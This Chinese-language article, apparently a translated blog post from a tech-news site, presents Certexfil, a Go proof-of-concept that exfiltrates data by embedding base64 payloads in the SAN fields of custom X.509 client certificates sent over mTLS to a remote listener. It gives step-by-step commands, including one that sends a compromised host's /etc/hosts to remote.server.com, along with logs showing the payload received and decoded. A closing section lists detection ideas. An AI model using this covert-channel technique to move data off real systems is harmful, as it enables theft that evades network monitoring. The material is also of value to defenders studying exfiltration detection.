溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何利用x509數(shù)字證書實現(xiàn)數(shù)據(jù)滲透

發(fā)布時間:2021-11-01 17:38:22 來源:億速云 閱讀:139 作者:小新 欄目:編程語言

這篇文章主要介紹如何利用x509數(shù)字證書實現(xiàn)數(shù)據(jù)滲透,文中介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們一定要看完!

數(shù)據(jù)泄露可能是內(nèi)部人員和黑客的主要目標(biāo)。因此,你就需要思考如何發(fā)送這些數(shù)據(jù)。

我發(fā)現(xiàn)大多數(shù)公司對這方面的問題幾乎沒有什么防護措施(例如,中間人代理和TLS攔截),檢測通常也少的可憐......但有時,這可能是一個挑戰(zhàn)。

對于工作和業(yè)余愛好,我圍繞數(shù)據(jù)混淆和隱蔽通道編寫了大量的工具,并總是在為構(gòu)建更好的安全檢測和改善響應(yīng)時間做努力。 

本文我們將討論如何將數(shù)據(jù)嵌入到自定義SSL證書中,并通過mTLS針對一個遠(yuǎn)程偵聽服務(wù)來使用它。

這是作為POC而寫的,也是我在Go中的編寫第一個程序。

從 TLS 到 mTLS?

TLS(安全傳輸層協(xié)議)是一種加密協(xié)議,用于在客戶端和服務(wù)器之間提供通信安全性。為此,證書頒發(fā)機構(gòu)(“CA”)會為服務(wù)器頒發(fā)一個簽名證書,以向客戶端證明其身份。該客戶端可以檢查證書,并查看簽名的CA是否真正受信任。

雖然TLS主要是對服務(wù)器進行身份驗證,但Mutual TLS添加了客戶端的身份驗證,該身份驗證將由受信任的CA提供簽名證書。

x509 證書濫用

X509證書可以使用主題別名或SAN進行擴展。

如何利用x509數(shù)字證書實現(xiàn)數(shù)據(jù)滲透

這意味著我們可以在證書創(chuàng)建期間添加字面量(literal)值,這些值可以是從電子郵件,IP到DNS名稱的任何內(nèi)容。

同樣,可以在此SAN中添加任何內(nèi)容,這里并沒有真正的驗證,只需使用DNS: (.*)的格式即可。

那么,我們是否可以在這個位置隱藏一段我們的payload代碼呢?即 DNS: base64(content)。

如何利用x509數(shù)字證書實現(xiàn)數(shù)據(jù)滲透

Certexfil

它有三種模式:

使用 — ca創(chuàng)建客戶端和偵聽端都使用的CA架構(gòu);

使用 — listen,啟動一個mTLS偵聽器(你需要來自 — ca的CA文件)

使用 — payload和 — host,將payload(文件,stdout)注入自定義客戶端證書,然后立即用它連接到偵聽服務(wù)。

代碼可以在這里找到:https://github.com/sourcefrenchy/certexfil

Certexfil 加密 payload

我使用了一個簡單的編碼模塊對payload進行了base64編碼,但在這個階段似乎沒有什么用。顯然,我需要在某一點上做些加密,或者我應(yīng)該將它重命名為encodepayload :)。為此,我在go中創(chuàng)建了一個用于加密payload的模塊cryptopayload。

代碼可以在這里找到:https://github.com/sourcefrenchy/cryptopayload

用法

創(chuàng)建CA/服務(wù)器證書

這將創(chuàng)建包含用于mTLS的server_cert.pem和server_key.pem證書的./CERTS目錄(客戶端和偵聽模式將使用這些目錄:

somewhere$ certexfil -ca -ecdsa-curve P521 -host remote.server.com

現(xiàn)在,請確保你的遠(yuǎn)程服務(wù)器上有certexfil二進制文件和創(chuàng)建的./CERTS目錄。然后,啟動偵聽(默認(rèn)為:所有接口,tcp/8443)

remoteserver$ ./certexfil -listen

客戶端/受妥協(xié)主機發(fā)送 payload

在本例中,我們嘗試通過生成自定義證書并建立與遠(yuǎn)程偵聽器的mTLS連接,來對我們的“/etc/hosts”文件進行數(shù)據(jù)泄露,所有這些操作只需下面這一行命令:

06:52:14 jma@wintermute Go-Workspace → certexfil --host remote.server.com --payload /etc/hosts
2019/05/31 18:52:23 [*] Reading from file..
2019/05/31 18:52:24 [D] Payload (raw)  --> 127.0.0.1	...(225 bytes)
2019/05/31 18:52:24 [D] Payload (Prepare()) --> ?...		(173 bytes)
2019/05/31 18:52:24 [*] Generated custom cert with payload
Oo

我們可以在本地檢查創(chuàng)建的新證書(client_cert.pem)和SAN區(qū)域中添加的payload(base64)。讓我們使用openssl再檢查一遍:

$ openssl x509 -in ./CERTS/client_cert.pem -text -noout 
 grep -A 5 "Subject Alternative Name"
            X509v3 Subject Alternative Name: 
                DNS:x.io.net, DNS:
H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=    Signature Algorithm: ecdsa-with-SHA512
         30:81:88:02:42:01:aa:73:a9:af:03:4f:21:16:dd:62:4a:af:
         59:6b:89:f5:a6:6d:e6:f1:21:40:ff:c8:32:f7:99:4f:d9:c8:
         7f:b3:ac:43:1f:71:09:86:f4:be:7b:af:93:31:e2:fb:ec:e8:

檢索偵聽端上的 payload

驗證客戶端連接提供的證書后,我們可以檢索payload,從base64解碼并顯示它:

○ → ./certexfil --listen
2019/05/31 22:51:01 [*] Starting listener..
2019/05/31 22:52:24 [*] Payload received: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=
2019/05/31 22:52:24 [*] Payload decoded: 127.0.0.1	localhost
127.0.1.1	wintermute
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

限制

tls:的握手消息長度為1399109字節(jié),已超過了最大值65536字節(jié)。

OpenSSL不允許大小超過65536字節(jié)的證書

TODO:將大型payload拆分為多個證書和/或重新編譯OpenSSL

緩解措施

假設(shè)你已截獲并分析SSL流量的一些想法:)

檢測新創(chuàng)建的TLS證書

檢測大型TLS證書或檢查SAN以獲取有效的DNS條目(例如,你可以使用某些BroIDS腳本)

正確配置Man-in-the-Middle代理/防火墻攔截TLS流量

以上是“如何利用x509數(shù)字證書實現(xiàn)數(shù)據(jù)滲透”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對大家有幫助,更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI